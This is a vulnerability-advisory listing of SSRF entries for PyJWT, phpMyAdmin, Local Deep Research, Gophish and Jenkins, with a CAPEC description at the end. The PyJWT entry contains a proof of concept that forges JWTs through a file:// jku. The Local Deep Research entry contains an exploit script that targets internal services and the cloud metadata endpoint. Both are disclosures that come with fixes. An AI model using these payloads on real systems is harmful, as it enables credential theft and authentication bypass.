serialization.NoEncryption())\nnow = int(time.time())\ntoken = pyjwt.encode(\n    {\"sub\":\"attacker\",\"aud\":\"target-app\",\"iat\":now,\"exp\":now+3600},\n    priv_pem, algorithm=\"RS256\",\n    headers={\"kid\":\"attacker\",\"jku\":\"file:///tmp/attacker.json\",\"typ\":\"JWT\"})\n\n# Vulnerable application pattern: caller derives jku from token header\n# and passes to PyJWKClient without scheme validation\nheader = pyjwt.get_unverified_header(token)\nclient = PyJWKClient(header[\"jku\"])      # \u003c-- accepts file:// silently\nkey_obj = client.get_signing_key_from_jwt(token)\ndecoded = pyjwt.decode(token, key_obj.key, algorithms=[\"RS256\"],\n                       audience=\"target-app\")\nprint(\"Token verified:\", decoded)\n# Output: Token verified: {\u0027sub\u0027: \u0027attacker\u0027, \u0027aud\u0027: \u0027target-app\u0027, ...}\n```\n\n## Cross-library evidence \u2014 PyJWT is the outlier\n\nThe same composition pattern is structurally safe in 4 other mainstream JWT libraries:\n\n| Library | Behavior on `jku=file://...` | Mechanism |\n|---|---|---|\n| **PyJWT 2.12.1** (Python) | **Reads file from disk, parses, uses for signature verification** | urllib default OpenerDirector includes FileHandler |\n| panva/jose 6.2.3 (Node.js) | Refuses pre-fetch | WHATWG `fetch()` rejects non-http(s) at fetch-spec layer |\n| golang-jwt + MicahParks/keyfunc v3.4.0 (Go) | Refuses pre-fetch | `http.DefaultTransport` only registers http/https |\n| Microsoft.IdentityModel.Tokens 8.18.0 (.NET) | Refuses pre-fetch | `HttpDocumentRetriever` defaults `RequireHttps=true` |\n| Spring Security NimbusJwtDecoder 6.3.4 (Java) | Refuses pre-fetch | URI parser delegation refuses non-http(s) at request build |\n\nPyJWT is the only library of these 5 where the default behavior allows `file://` to reach the fetch layer.\n\n## Recommended fix\n\nAdd `allowed_schemes: tuple[str, ...] = (\"https\", \"http\")` kwarg to `PyJWKClient.__init__`. Pre-validate URL scheme before invoking `urllib.request.urlopen`. URLs with disallowed schemes raise `PyJWKClientError` before any fetch is attempted.\n\n### Diff sketch against `jwt/jwks_client.py`\n\n```python\ndef __init__(\n    self, uri: str,\n    cache_keys: bool = False, max_cached_keys: int = 16,\n    cache_jwk_set: bool = True, lifespan: float = 300,\n    headers: dict[str, Any] | None = None, timeout: float = 30,\n    ssl_context: SSLContext | None = None,\n    allowed_schemes: tuple[str, ...] = (\"https\", \"http\"),  # NEW\n):\n    \"\"\"...\n    :param allowed_schemes: URL schemes the JWKS endpoint is permitted\n        to use. Default ``(\"https\", \"http\")``. Pass ``(\"https\",)`` for\n        HTTPS-only operation. URLs with disallowed schemes raise\n        ``PyJWKClientError`` before any fetch is attempted.\n    \"\"\"\n    # ... existing init code ...\n    self.allowed_schemes = allowed_schemes\n    self._validate_uri_scheme()\n\n\ndef _validate_uri_scheme(self) -\u003e None:\n    \"\"\"Reject the configured URI early if its scheme isn\u0027t allowed.\"\"\"\n    from urllib.parse import urlparse\n    parsed = urlparse(self.uri)\n    scheme = parsed.scheme.lower()\n    if not scheme:\n        raise PyJWKClientError(\n            f\"PyJWKClient URI \u0027{self.uri}\u0027 has no scheme; expected one of \"\n            f\"{self.allowed_schemes!r}\")\n    if scheme not in self.allowed_schemes:\n        raise PyJWKClientError(\n            f\"PyJWKClient URI scheme \u0027{scheme}\u0027 is not in allowed_schemes \"\n            f\"{self.allowed_schemes!r}; refusing to fetch from this URL\")\n```\n\n### Tests to add\n\n```python\ndef test_pyjwkclient_rejects_file_scheme():\n    with pytest.raises(PyJWKClientError, match=\"not in allowed_schemes\"):\n        PyJWKClient(\"file:///etc/passwd\")\n\ndef test_pyjwkclient_rejects_ftp_scheme():\n    with pytest.raises(PyJWKClientError):\n        PyJWKClient(\"ftp://example.org/keys.json\")\n\ndef test_pyjwkclient_rejects_data_scheme():\n    with pytest.raises(PyJWKClientError):\n        PyJWKClient(\u0027data:application/json,{\"keys\":[]}\u0027)\n\ndef test_pyjwkclient_caller_can_lock_to_https_only():\n    with pytest.raises(PyJWKClientError):\n        PyJWKClient(\"http://internal.test/jwks.json\", allowed_schemes=(\"https\",))\n```\n\n### Compatibility\n\n- Default `allowed_schemes=(\"https\", \"http\")` preserves backwards compatibility for the overwhelming majority of callers using HTTP/HTTPS JWKS endpoints\n- Breaking only for callers using non-HTTP schemes intentionally (vanishingly rare)\n- No changes to urllib fetch logic itself \u2014 the fix is a pre-validation gate\n\n## Class precedent\n\nThis is the same class as **CVE-2024-21643** (Apache Jena JKU-trust: attacker-supplied JKU URL fetched without scheme validation). NVD-rated CVSS 7.5.\n\n## Prior art (verified 2026-05-06)\n\nConfirmed via live recon (NVD direct, OSV.dev, PyJWT GitHub Security Advisories, issue/PR keyword search, CHANGELOG inspection):\n\n- No existing CVE on PyJWT specifically for PyJWKClient URL scheme handling\n- No existing GitHub issue or PR addressing scheme allowlisting\n- No silent fix in CHANGELOG through 2.12.1\n- 5 prior PyJWT advisories (CVE-2017-11424, CVE-2022-29217, CVE-2024-53861, CVE-2025-45768, CVE-2026-32597) \u2014 none cover this class\n\n## Credit\n\nReported by Keijo Tuominen \u2014 independent security research at CMHT.tech (https://cmht.tech).\n\nReproduction artifacts available on request: full multi-language probe pack (5 wrappers \u00d7 25 fixtures \u00d7 125 cells) demonstrating cross-library divergence at the URL-scheme boundary.",
  "id": "GHSA-993g-76c3-p5m4",
  "modified": "2026-06-15T19:28:41Z",
  "published": "2026-06-15T19:28:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-993g-76c3-p5m4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48522"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jpadilla/pyjwt"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pyjwt/PYSEC-2026-175.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PyJWKClient: missing scheme allowlist enables CVE-2024-21643-class SSRF + token forgery via file://, ftp://, data: schemes"
}

GHSA-99XJ-XQC9-98HR

Vulnerability from github – Published: 2022-05-14 01:15 – Updated: 2024-04-24 17:16
VLAI
Summary
phpMyAdmin SSRF in replication
Details

phpMyAdmin 4.0, 4.4 and 4.6 are vulnerable to a weakness where a user with appropriate permissions is able to connect to an arbitrary MySQL server

Severity
8.8 (High)
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "phpmyadmin/phpmyadmin"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.6"
            },
            {
              "fixed": "4.6.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "phpmyadmin/phpmyadmin"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.4"
            },
            {
              "fixed": "4.4.15.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "phpmyadmin/phpmyadmin"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0"
            },
            {
              "fixed": "4.0.10.19"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2017-1000017"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-04-24T17:16:11Z",
    "nvd_published_at": "2017-07-17T13:18:00Z",
    "severity": "HIGH"
  },
  "details": "phpMyAdmin 4.0, 4.4 and 4.6 are vulnerable to a weakness where a user with appropriate permissions is able to connect to an arbitrary MySQL server",
  "id": "GHSA-99xj-xqc9-98hr",
  "modified": "2024-04-24T17:16:11Z",
  "published": "2022-05-14T01:15:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-1000017"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/phpmyadmin/composer"
    },
    {
      "type": "WEB",
      "url": "https://www.phpmyadmin.net/security/PMASA-2017-6"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/95732"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "phpMyAdmin SSRF in replication"
}

GHSA-9C54-GXH7-PPJC

Vulnerability from github – Published: 2025-12-23 18:17 – Updated: 2025-12-23 18:17
VLAI
Summary
Local Deep Research is Vulnerable to Server-Side Request Forgery (SSRF) in Download Service
Details

Summary

The download service (download_service.py) makes HTTP requests using raw requests.get() without utilizing the application's SSRF protection (safe_requests.py). This can allow attackers to access internal services and attempt to reach cloud provider metadata endpoints (AWS/GCP/Azure), as well as perform internal network reconnaissance, by submitting malicious URLs through the API, depending on the deployment and surrounding controls.

CWE: CWE-918 (Server-Side Request Forgery)

Details

Vulnerable Code Location

File: src/local_deep_research/research_library/services/download_service.py

The application has proper SSRF protection implemented in security/safe_requests.py and security/ssrf_validator.py, which blocks: - Loopback addresses (127.0.0.0/8) - Private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16) - AWS metadata endpoint (169.254.169.254) - Link-local addresses

However, download_service.py bypasses this protection by using raw requests.get() directly:

# Line 1038 - _download_generic method
response = requests.get(url, headers=headers, timeout=30)

# Line 1075
response = requests.get(api_url, timeout=10)

# Line 1100
pdf_response = requests.get(pdf_url, headers=headers, timeout=30)

# Line 1144
response = requests.get(europe_url, headers=headers, timeout=30)

# Line 1187
api_response = requests.get(elink_url, params=params, timeout=10)

# Line 1207
summary_response = requests.get(esummary_url, ...)

# Line 1236
response = requests.get(europe_url, headers=headers, timeout=30)

# Line 1276
response = requests.get(url, headers=headers, timeout=10)

# Line 1298
response = requests.get(europe_url, headers=headers, timeout=30)

Attack Vector

  1. Attacker submits a malicious URL via POST /api/resources/<research_id>
  2. URL is stored in database without SSRF validation (resource_service.py:add_resource())
  3. Download is triggered via /library/api/download/<resource_id>
  4. download_service.py fetches the URL using raw requests.get(), bypassing SSRF protection

PoC

Prerequisites

  • Docker and Docker Compose installed
  • Python 3.11+

Step 1: Create the Mock Internal Service

File: internal_service.py

#!/usr/bin/env python3
"""Mock internal service that simulates a sensitive internal endpoint."""

from http.server import HTTPServer, BaseHTTPRequestHandler
import json

class InternalServiceHandler(BaseHTTPRequestHandler):
    def log_message(self, format, *args):
        print(f"[INTERNAL SERVICE] {args[0]}")

    def do_GET(self):
        print(f"\n{'='*60}")
        print(f"[!] SSRF DETECTED - Internal service accessed!")
        print(f"[!] Path: {self.path}")
        print(f"{'='*60}\n")

        self.send_response(200)
        self.send_header("Content-Type", "application/json")
        self.end_headers()

        secret_data = {
            "status": "SSRF_SUCCESSFUL",
            "message": "You have accessed internal service via SSRF!",
            "internal_secrets": {
                "database_password": "super_secret_db_pass_123",
                "api_key": "sk-internal-api-key-xxxxx",
                "admin_token": "admin_bearer_token_yyyyy"
            }
        }
        self.wfile.write(json.dumps(secret_data, indent=2).encode())

if __name__ == "__main__":
    print("[*] Starting mock internal service on port 8080")
    server = HTTPServer(("0.0.0.0", 8080), InternalServiceHandler)
    server.serve_forever()

Step 2: Create the Exploit Script

File: exploit.py

#!/usr/bin/env python3
"""SSRF Vulnerability Active PoC"""

import sys
import requests

sys.path.insert(0, '/app/src')

def main():
    print("=" * 70)
    print("SSRF Vulnerability PoC - Active Exploitation")
    print("=" * 70)

    internal_url = "http://ssrf-internal-service:8080/secret-data"
    aws_metadata_url = "http://169.254.169.254/latest/meta-data/"
    headers = {"User-Agent": "Mozilla/5.0"}

    # EXPLOIT 1: Access internal service
    print("\n[EXPLOIT 1] Accessing internal service via SSRF")
    print(f"    Target: {internal_url}")

    try:
        # Same pattern as download_service.py line 1038
        response = requests.get(internal_url, headers=headers, timeout=30)
        print(f"    [!] SSRF SUCCESSFUL! Status: {response.status_code}")
        print(f"    [!] Retrieved secrets:")
        for line in response.text.split('\n')[:15]:
            print(f"        {line}")
    except Exception as e:
        print(f"    [-] Failed: {e}")
        return 1

    # EXPLOIT 2: AWS metadata bypass
    print("\n[EXPLOIT 2] AWS Metadata endpoint bypass")
    from local_deep_research.security.ssrf_validator import validate_url
    print(f"    SSRF validator: {'ALLOWED' if validate_url(aws_metadata_url) else 'BLOCKED'}")
    print(f"    But download_service.py BYPASSES the validator!")

    try:
        requests.get(aws_metadata_url, timeout=5)
    except requests.exceptions.ConnectionError:
        print(f"    Request sent without SSRF validation!")

    print("\n" + "=" * 70)
    print("SSRF VULNERABILITY CONFIRMED")
    print("=" * 70)
    return 0

if __name__ == "__main__":
    sys.exit(main())

Step 3: Run the PoC

# Build and run with Docker
docker network create ssrf-poc-net
docker run -d --name ssrf-internal-service --network ssrf-poc-net python:3.11-slim sh -c "pip install -q && python internal_service.py"
docker run --rm --network ssrf-poc-net -v ./src:/app/src ssrf-vulnerable-app python exploit.py

Expected Output

======================================================================
SSRF Vulnerability PoC - Active Exploitation
======================================================================

[EXPLOIT 1] Accessing internal service via SSRF
    Target: http://ssrf-internal-service:8080/secret-data
    [!] SSRF SUCCESSFUL! Status: 200
    [!] Retrieved secrets:
        {
          "status": "SSRF_SUCCESSFUL",
          "message": "You have accessed internal service via SSRF!",
          "internal_secrets": {
            "database_password": "super_secret_db_pass_123",
            "api_key": "sk-internal-api-key-xxxxx",
            "admin_token": "admin_bearer_token_yyyyy"
          }
        }

[EXPLOIT 2] AWS Metadata endpoint bypass
    SSRF validator: BLOCKED
    But download_service.py BYPASSES the validator!
    Request sent without SSRF validation!

======================================================================
SSRF VULNERABILITY CONFIRMED
======================================================================

Impact

Who is affected?

All users running local-deep-research in: - Cloud environments (AWS, GCP, Azure) - attackers can steal cloud credentials via metadata endpoints - Corporate networks - attackers can access internal services and databases - Any deployment - attackers can scan internal networks

What can an attacker do?

Attack Impact
Access cloud metadata Potentially access IAM credentials, API keys, or instance identity in certain cloud configurations
Internal service access Read sensitive data from databases, Redis, admin panels
Network reconnaissance Map internal network topology and services
Bypass firewalls Access services not exposed to the internet

Recommended Fix

Replace all requests.get() calls in download_service.py with safe_get() from security/safe_requests.py:

# download_service.py

+ from ...security.safe_requests import safe_get

  def _download_generic(self, url, ...):
-     response = requests.get(url, headers=headers, timeout=30)
+     response = safe_get(url, headers=headers, timeout=30)

The safe_get() function already validates URLs against SSRF attacks before making requests.

Files to update:

  • src/local_deep_research/research_library/services/download_service.py (9 occurrences)
  • src/local_deep_research/research_library/downloaders/base.py (uses requests.Session)

References

Thank you for your work on this project! I'm happy to provide any additional information or help with testing the fix.

Severity
6.3 (Medium)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "local-deep-research"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.3.0"
            },
            {
              "fixed": "1.3.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-67743"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-23T18:17:27Z",
    "nvd_published_at": "2025-12-23T01:15:43Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe download service (`download_service.py`) makes HTTP requests using raw `requests.get()` without utilizing the application\u0027s SSRF protection (`safe_requests.py`). This can allow attackers to access internal services and attempt to reach cloud provider metadata endpoints (AWS/GCP/Azure), as well as perform internal network reconnaissance, by submitting malicious URLs through the API, depending on the deployment and surrounding controls.\n\n**CWE**: CWE-918 (Server-Side Request Forgery)\n\n---\n\n## Details\n\n### Vulnerable Code Location\n\n**File**: `src/local_deep_research/research_library/services/download_service.py`\n\nThe application has proper SSRF protection implemented in `security/safe_requests.py` and `security/ssrf_validator.py`, which blocks:\n- Loopback addresses (127.0.0.0/8)\n- Private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)\n- AWS metadata endpoint (169.254.169.254)\n- Link-local addresses\n\nHowever, `download_service.py` bypasses this protection by using raw `requests.get()` directly:\n\n```python\n# Line 1038 - _download_generic method\nresponse = requests.get(url, headers=headers, timeout=30)\n\n# Line 1075\nresponse = requests.get(api_url, timeout=10)\n\n# Line 1100\npdf_response = requests.get(pdf_url, headers=headers, timeout=30)\n\n# Line 1144\nresponse = requests.get(europe_url, headers=headers, timeout=30)\n\n# Line 1187\napi_response = requests.get(elink_url, params=params, timeout=10)\n\n# Line 1207\nsummary_response = requests.get(esummary_url, ...)\n\n# Line 1236\nresponse = requests.get(europe_url, headers=headers, timeout=30)\n\n# Line 1276\nresponse = requests.get(url, headers=headers, timeout=10)\n\n# Line 1298\nresponse = requests.get(europe_url, headers=headers, timeout=30)\n```\n\n### Attack Vector\n\n1. Attacker submits a malicious URL via `POST /api/resources/\u003cresearch_id\u003e`\n2. URL is stored in database without SSRF validation (`resource_service.py:add_resource()`)\n3. Download is triggered via `/library/api/download/\u003cresource_id\u003e`\n4. `download_service.py` fetches the URL using raw `requests.get()`, bypassing SSRF protection\n\n---\n\n## PoC\n\n### Prerequisites\n\n- Docker and Docker Compose installed\n- Python 3.11+\n\n### Step 1: Create the Mock Internal Service\n\n**File: `internal_service.py`**\n\n```python\n#!/usr/bin/env python3\n\"\"\"Mock internal service that simulates a sensitive internal endpoint.\"\"\"\n\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\nimport json\n\nclass InternalServiceHandler(BaseHTTPRequestHandler):\n    def log_message(self, format, *args):\n        print(f\"[INTERNAL SERVICE] {args[0]}\")\n    \n    def do_GET(self):\n        print(f\"\\n{\u0027=\u0027*60}\")\n        print(f\"[!] SSRF DETECTED - Internal service accessed!\")\n        print(f\"[!] Path: {self.path}\")\n        print(f\"{\u0027=\u0027*60}\\n\")\n        \n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"application/json\")\n        self.end_headers()\n        \n        secret_data = {\n            \"status\": \"SSRF_SUCCESSFUL\",\n            \"message\": \"You have accessed internal service via SSRF!\",\n            \"internal_secrets\": {\n                \"database_password\": \"super_secret_db_pass_123\",\n                \"api_key\": \"sk-internal-api-key-xxxxx\",\n                \"admin_token\": \"admin_bearer_token_yyyyy\"\n            }\n        }\n        self.wfile.write(json.dumps(secret_data, indent=2).encode())\n\nif __name__ == \"__main__\":\n    print(\"[*] Starting mock internal service on port 8080\")\n    server = HTTPServer((\"0.0.0.0\", 8080), InternalServiceHandler)\n    server.serve_forever()\n```\n\n### Step 2: Create the Exploit Script\n\n**File: `exploit.py`**\n\n```python\n#!/usr/bin/env python3\n\"\"\"SSRF Vulnerability Active PoC\"\"\"\n\nimport sys\nimport requests\n\nsys.path.insert(0, \u0027/app/src\u0027)\n\ndef main():\n    print(\"=\" * 70)\n    print(\"SSRF Vulnerability PoC - Active Exploitation\")\n    print(\"=\" * 70)\n    \n    internal_url = \"http://ssrf-internal-service:8080/secret-data\"\n    aws_metadata_url = \"http://169.254.169.254/latest/meta-data/\"\n    headers = {\"User-Agent\": \"Mozilla/5.0\"}\n    \n    # EXPLOIT 1: Access internal service\n    print(\"\\n[EXPLOIT 1] Accessing internal service via SSRF\")\n    print(f\"    Target: {internal_url}\")\n    \n    try:\n        # Same pattern as download_service.py line 1038\n        response = requests.get(internal_url, headers=headers, timeout=30)\n        print(f\"    [!] SSRF SUCCESSFUL! Status: {response.status_code}\")\n        print(f\"    [!] Retrieved secrets:\")\n        for line in response.text.split(\u0027\\n\u0027)[:15]:\n            print(f\"        {line}\")\n    except Exception as e:\n        print(f\"    [-] Failed: {e}\")\n        return 1\n    \n    # EXPLOIT 2: AWS metadata bypass\n    print(\"\\n[EXPLOIT 2] AWS Metadata endpoint bypass\")\n    from local_deep_research.security.ssrf_validator import validate_url\n    print(f\"    SSRF validator: {\u0027ALLOWED\u0027 if validate_url(aws_metadata_url) else \u0027BLOCKED\u0027}\")\n    print(f\"    But download_service.py BYPASSES the validator!\")\n    \n    try:\n        requests.get(aws_metadata_url, timeout=5)\n    except requests.exceptions.ConnectionError:\n        print(f\"    Request sent without SSRF validation!\")\n    \n    print(\"\\n\" + \"=\" * 70)\n    print(\"SSRF VULNERABILITY CONFIRMED\")\n    print(\"=\" * 70)\n    return 0\n\nif __name__ == \"__main__\":\n    sys.exit(main())\n```\n\n### Step 3: Run the PoC\n\n```bash\n# Build and run with Docker\ndocker network create ssrf-poc-net\ndocker run -d --name ssrf-internal-service --network ssrf-poc-net python:3.11-slim sh -c \"pip install -q \u0026\u0026 python internal_service.py\"\ndocker run --rm --network ssrf-poc-net -v ./src:/app/src ssrf-vulnerable-app python exploit.py\n```\n\n### Expected Output\n\n```\n======================================================================\nSSRF Vulnerability PoC - Active Exploitation\n======================================================================\n\n[EXPLOIT 1] Accessing internal service via SSRF\n    Target: http://ssrf-internal-service:8080/secret-data\n    [!] SSRF SUCCESSFUL! Status: 200\n    [!] Retrieved secrets:\n        {\n          \"status\": \"SSRF_SUCCESSFUL\",\n          \"message\": \"You have accessed internal service via SSRF!\",\n          \"internal_secrets\": {\n            \"database_password\": \"super_secret_db_pass_123\",\n            \"api_key\": \"sk-internal-api-key-xxxxx\",\n            \"admin_token\": \"admin_bearer_token_yyyyy\"\n          }\n        }\n\n[EXPLOIT 2] AWS Metadata endpoint bypass\n    SSRF validator: BLOCKED\n    But download_service.py BYPASSES the validator!\n    Request sent without SSRF validation!\n\n======================================================================\nSSRF VULNERABILITY CONFIRMED\n======================================================================\n```\n\n---\n\n## Impact\n\n### Who is affected?\n\nAll users running local-deep-research in:\n- **Cloud environments** (AWS, GCP, Azure) - attackers can steal cloud credentials via metadata endpoints\n- **Corporate networks** - attackers can access internal services and databases\n- **Any deployment** - attackers can scan internal networks\n\n### What can an attacker do?\n\n| Attack | Impact |\n|--------|--------|\n| Access cloud metadata | Potentially access IAM credentials, API keys, or instance identity in certain cloud configurations |\n| Internal service access | Read sensitive data from databases, Redis, admin panels |\n| Network reconnaissance | Map internal network topology and services |\n| Bypass firewalls | Access services not exposed to the internet |\n\n---\n\n## Recommended Fix\n\nReplace all `requests.get()` calls in `download_service.py` with `safe_get()` from `security/safe_requests.py`:\n\n```diff\n# download_service.py\n\n+ from ...security.safe_requests import safe_get\n\n  def _download_generic(self, url, ...):\n-     response = requests.get(url, headers=headers, timeout=30)\n+     response = safe_get(url, headers=headers, timeout=30)\n```\n\nThe `safe_get()` function already validates URLs against SSRF attacks before making requests.\n\n### Files to update:\n- `src/local_deep_research/research_library/services/download_service.py` (9 occurrences)\n- `src/local_deep_research/research_library/downloaders/base.py` (uses `requests.Session`)\n\n---\n\n## References\n\n- [CWE-918: Server-Side Request Forgery (SSRF)](https://cwe.mitre.org/data/definitions/918.html)\n- [OWASP SSRF Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n- [AWS SSRF Attacks and IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html)\n- [PortSwigger: SSRF](https://portswigger.net/web-security/ssrf)\n\n---\n\nThank you for your work on this project! I\u0027m happy to provide any additional information or help with testing the fix.",
  "id": "GHSA-9c54-gxh7-ppjc",
  "modified": "2025-12-23T18:17:27Z",
  "published": "2025-12-23T18:17:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/LearningCircuit/local-deep-research/security/advisories/GHSA-9c54-gxh7-ppjc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-67743"
    },
    {
      "type": "WEB",
      "url": "https://github.com/LearningCircuit/local-deep-research/commit/b79089ff30c5d9ae77e6b903c408e1c26ad5c055"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/LearningCircuit/local-deep-research"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Local Deep Research is Vulnerable to Server-Side Request Forgery (SSRF) in Download Service"
}

GHSA-9C9W-9PQ7-F35H

Vulnerability from github – Published: 2022-05-24 17:32 – Updated: 2023-07-20 15:01
VLAI
Summary
Gophish vulnerable to Server-Side Request Forgery
Details

Gophish before 0.11.0 allows SSRF attacks.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/gophish/gophish"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.11.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-24710"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-07-20T15:01:40Z",
    "nvd_published_at": "2020-10-28T20:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Gophish before 0.11.0 allows SSRF attacks.",
  "id": "GHSA-9c9w-9pq7-f35h",
  "modified": "2023-07-20T15:01:40Z",
  "published": "2022-05-24T17:32:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-24710"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gophish/gophish/commit/e3352f481e94054ffe08494c9225d3878347b005"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gophish/gophish"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gophish/gophish/releases/tag/v0.11.0"
    },
    {
      "type": "WEB",
      "url": "https://herolab.usd.de/security-advisories/usd-2020-0054"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Gophish vulnerable to Server-Side Request Forgery"
}

GHSA-9CFQ-V2HM-C3XR

Vulnerability from github – Published: 2022-05-14 03:13 – Updated: 2022-12-12 16:49
VLAI
Summary
Jenkins GitHub Branch Source Plugin vulnerable to Server-Side Request Forgery
Details

A server-side request forgery vulnerability exists in Jenkins GitHub Branch Source Plugin 2.3.4 and older in Endpoint.java that allows attackers with Overall/Read access to cause Jenkins to send a GET request to a specified URL. Additionally, this form validation method did not require POST requests, resulting in a CSRF vulnerability. As of version 23.5, this form validation method requires POST requests and the Overall/Administer permission.

Severity
4.3 (Medium)
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.3.4"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.jenkins-ci.plugins:github-branch-source"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.3.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2018-1000185"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-12-12T16:49:32Z",
    "nvd_published_at": "2018-06-05T20:29:00Z",
    "severity": "MODERATE"
  },
  "details": "A server-side request forgery vulnerability exists in Jenkins GitHub Branch Source Plugin 2.3.4 and older in Endpoint.java that allows attackers with Overall/Read access to cause Jenkins to send a GET request to a specified URL. Additionally, this form validation method did not require POST requests, resulting in a CSRF vulnerability. As of version 23.5, this form validation method requires POST requests and the Overall/Administer permission.",
  "id": "GHSA-9cfq-v2hm-c3xr",
  "modified": "2022-12-12T16:49:32Z",
  "published": "2022-05-14T03:13:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-1000185"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jenkinsci/github-branch-source-plugin/commit/22d3383002274bc3f4368534eba2b5c852e78b39"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jenkinsci/github-branch-source-plugin"
    },
    {
      "type": "WEB",
      "url": "https://jenkins.io/security/advisory/2018-06-04/#SECURITY-806"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Jenkins GitHub Branch Source Plugin vulnerable to Server-Side Request Forgery"
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.

← Back to the CWE list